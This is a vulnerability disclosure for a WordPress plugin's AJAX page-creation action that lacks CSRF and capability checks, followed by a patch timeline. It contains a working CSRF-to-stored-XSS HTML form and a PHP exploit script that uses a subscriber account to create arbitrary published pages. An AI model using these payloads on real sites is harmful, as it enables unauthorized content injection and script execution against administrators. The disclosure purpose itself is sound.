Admin Menu Tree Page View [CSRF, Privilege Escalation]

Description

Plugin implements AJAX action admin_menu_tree_page_view_add_page which calls back the function admin_menu_tree_page_view_add_page. The later does not implement any anti-CSRF controls or security checks.

Leveraging a CSRF attack an attacker could perform a Persistent XSS attack if the victim has administrative rights (see PoC).

The AJAX action is a privileged one so it’s only available for registered users. Even so it doesn’t implement any capabilities checks so it’s available to all users no matter the access level. This could allow any registered user to create arbitrary posts no matter the access level.

PoC

CSRF -> Persistent XSS

In this PoC we exploit the $_POST["page_titles"] param to perform a Persistent XSS attack.

<form method="post" action="http://wp-plugin-csrf.dev/wp-admin/admin-ajax.php">
    <input type="hidden" name="action" value="admin_menu_tree_page_view_add_page">
    <input type="text" name="type" value="after">
    <input type="text" name="pageID" value="1">
    <input type="text" name="post_type" value="page">
    <input type="text" name="page_titles[]" value="<script>alert(1)</script>">
    <input type="text" name="post_status" value="publish">
    <button type="submit" value="Submit">Submit</button>
</form>

Create Arbitrary Posts

In this PoC we use a user with subscriber access to create arbitrary pages. The post_type is user defined so in the same manner we could create any post type.

#!/usr/bin/env php
<?php
/*******************************************************************************
 * Admin Menu Tree Page View [Privilege Escalation]
 *
 * To install deps run `composer require wordfence/exkit`.
 *
 * @author Pan Vag <[email protected]>
 * @date 2017-08-09
 ******************************************************************************/

require_once __DIR__ . '/vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\WPAuthentication;

Config::get( 'url.base', null, true, 'Enter the site URL' )
|| ExitCodes::exitWithFailedPrecondition( 'You must enter a valid URL' );

$s = new \Wordfence\ExKit\Session( null, [], [], [ 'timeout' => 60 ] );
$s->XDebugOn();

Cli::writeInfo( 'Logging in as subscriber...' );

WPAuthentication::logInAsUserRole( $s, WPAuthentication::USER_ROLE_SUBSCRIBER );

Cli::writeInfo( 'Sending payload...' );

$postData = [
    'action'      => 'admin_menu_tree_page_view_add_page',
    'type'        => 'after',
    'pageID'      => '1',
    'post_type'   => 'page',
    'page_titles' => [ '<script>alert(1)</script>' ],
    'post_status' => 'publish',
];

$r = $s->post( Endpoint::adminAjaxURL(), [], $postData);

if(!$r->success || !$r->body == '0'){
    ExitCodes::exitWithFailed('Failed to retrieve a valid response');
}

ExitCodes::exitWithSuccess('Exploitation successful');
WordPress Plugins CSRF Privilege Escalation
INFO
TIMELINE
  • 2017-12-12:
    Discovered
  • 2017-12-12:
    Tried to contact plugin author through WordPress.org support threads
  • 2017-12-13:
    Tried to contact plugin author by creating an issue in plugin's repository on Github
  • 2017-12-13:
    Vendor replied
  • 2017-12-14:
    Vendor received details
  • 2018-01-07:
    Patch released
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX